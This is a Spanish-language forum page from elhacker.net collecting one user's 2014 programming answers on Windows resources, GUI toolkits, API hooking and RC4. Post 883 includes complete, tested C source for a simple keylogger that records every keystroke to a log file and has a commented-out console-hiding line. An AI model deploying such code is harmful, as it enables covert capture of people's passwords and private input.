elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 ... 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 [89] 90 91 92
881  Programación / Programación C/C++ / Re: Vincular archivos a un exe en: 22 Septiembre 2014, 16:33 pm
Acabo de probar añadir el archivo mp3 a archivos de recursos y con un código de internet un poco editado intente imprimir el nombre pero el resultado fue inesperado  :-\
Donde se agregan y luego como leer el archivo?

Para reproducir el mp3 creo que voy a utilizar http://www.fmod.org/ aunque seria muy guay crear un reproductor mp3 propio si me podeis orientar de como hacer lo  :D

No, no quise decir que metas el archivo en la carpeta de "archivos de recursos" yo me refería a primero a crear un archivo de recursos y luego meter la dirección de los archivos a agregar en dicho archivo de recursos...

Respecto a usar archivos mp3 yo utilizo mciSendString pero no sé si se puede utilizar con un recurso o un archivo cargado en memoria...


B#
882  Programación / Programación C/C++ / Re: Vincular archivos a un exe en: 20 Septiembre 2014, 19:58 pm
Si estás programando para Windows podés escribir la ruta de los archivos en el archivo de recursos de tu proyecto y luego extraerlo o trabajarlo con las APIs de recursos de Windows...


B#
883  Programación / Programación C/C++ / Re: Keylogger queda ejecutándose en un while infinito en: 13 Septiembre 2014, 06:05 am
Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada :P respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser:
Código
  1. if(GetAsyncKeyState(tecla)&0x80000000)
  2. {
  3. //presionado
  4. }
  5. else
  6. {
  7. //no presionado
  8. }

EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. #define MAX_VIRTUALKEY 0xFF
  6.  
  7. char szKeyIntegerFormat[]="%i ";
  8.  
  9. BOOL InsertKey(int key)
  10. {
  11.     FILE *lpFile;
  12.     if((lpFile=fopen("log.txt","a")))
  13.     {
  14.         printf(szKeyIntegerFormat,key);
  15.         fprintf(lpFile,szKeyIntegerFormat,key);
  16.         fclose(lpFile);
  17.         return TRUE;
  18.     }
  19.     return FALSE;
  20. }
  21.  
  22. int main(void)
  23. {
  24.    int iVirtualKey;
  25.    //FreeConsole();
  26.    while(TRUE)
  27.    {
  28.        for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++)
  29.            if(GetAsyncKeyState(iVirtualKey)&0x80000000)
  30.                if(!InsertKey(iVirtualKey))
  31.                    return EXIT_FAILURE;
  32.        Sleep(100);
  33.    }
  34.    return EXIT_SUCCESS;
  35. }


B#
884  Programación / Programación C/C++ / Re: Keylogger queda ejecutándose en un while infinito en: 13 Septiembre 2014, 05:45 am
Hay un pequeño detalle que msdn menciona respecto a GetAsyncKeyState y que indica que si la tecla que le pasás por parámetro está presionada el valor de retorno (en su bit menos significativo) si es distinto a cero significa que la tecla fue presionada...

Habiendo explicado eso podrías probar lo siguiente:
Código
  1. if(GetAsyncKeyState(tecla)&1)
  2. {
  3.     //tecla presionada codigo
  4. }
  5. else
  6. {
  7.    //tecla no fue presionada codigo
  8. }

Por otra parte usar un bucle infinito para capturar teclas es un asesinato de cpu espectacular lo cual el proceso consumiría una banda de uso del/los procesador/es de tu pc, lo ideal sería capturar las teclas mediante mensajes del sistema operativo ya que de esa forma optimizarías el uso de tu programa con respecto a los otros procesos.


B#
885  Programación / Programación C/C++ / Re: ¿cómo hago un hook a gettickcount en c++? en: 1 Septiembre 2014, 16:10 pm
quiero hookear gettickcount, cómo pueido hacer?
agradezco sus consejos.

Depende, tenés varios métodos (entre los más comunes EAT,IAT,Trampolines,HWBP,etc...) y formas disponibles de hookear dicha función.

A su vez hay varias librerías públicas de hookeado de funciones:
Tenés la detours de microsoft (yo personalmente uso la 2.1 porque la 3 no me anda a mi xD) que te facilita mucho el laburo, la InteligentApiHooking que hizo un amigo de este foro también (muy usada en el Inexinferis FX por si alguién conoce además ese programa xD)


B#
886  Programación / Programación C/C++ / Re: Una duda que tengo sobre la separacion de interfaz de la implementacion en: 1 Mayo 2014, 06:26 am
(...)osea como se hace para sacar el codigo del programa, o si se sube a alguna pagina directamente o como seria el tema...

Se puede utilizar un desamblador o depurador para ver el código de un ejecutable en asembler si eso es lo que preguntás...


B#
887  Programación / Programación C/C++ / Re: [C++] Interfaz gráfica en: 29 Abril 2014, 05:52 am
* VC++ NET: Una de las grandes desventajas de este sistema es que no puedes controlar la memoria

Te equivocaste ahí, se puede utilizar y controlar la memoria sino fijate el siguiente link:

http://msdn.microsoft.com/en-us/library/chfa2zb8.aspx


B#
888  Programación / Programación C/C++ / Re: ¿Cómo crear un Windows Form? en: 17 Marzo 2014, 22:22 pm
Perdona mi osadía, pero WinForms no es un winapi puro... es parte del framework de .NET.

Cierto, pero yo no estaba hablando de Windows Forms sino que le estaba dando un link al usuario donde se podían hacer aplicaciones en ventana... Fijate que Meta escribió hacer Windows Form con win32 (que sería winapi) que en todo caso el se confunde con los términos o no sabe que no es lo mismo :P


B#
889  Programación / Programación C/C++ / Re: ¿Cómo crear un Windows Form? en: 16 Marzo 2014, 21:48 pm
Pero el usuario Meta no quiere utilizar un framework como gtk, qt, mfc o wxwidgets lo dejó bien en claro, el quiere usar winapi puro. Para hacer eso te recomiendo que leas este tutorial de como hacerlo con winapi completo:

http://winapi.conclase.net/curso/index.php


B#
890  Programación / Java / Re: Ayuda Cifrado ARC4/RC4 en Java en: 27 Febrero 2014, 00:50 am
hola IEAX, por favor fíjate esta implementación del algoritmo rc4 y los comentarios sobre las excepciones en java a nivel byte:

 -> http://stackoverflow.com/questions/12289717/rc4-encryption-java

espero que te sea útil. saludos.

Lo he leído e intentado de esa manera, pero al final el archivo cifrado queda totalmente vacío... He también analizado el código y hace prácticamente lo mismo pero en lugar de x % 256 usan x & 0xFF lo cuál termina dando todo completamente distinto el resultado... Igual gracias por la respuesta  ;D

EDIT: Ya lo pude solucionar el problema del archivo vacío y funciona perfectamente el cifrado ahora...


B#
Páginas: 1 ... 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 [89] 90 91 92
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines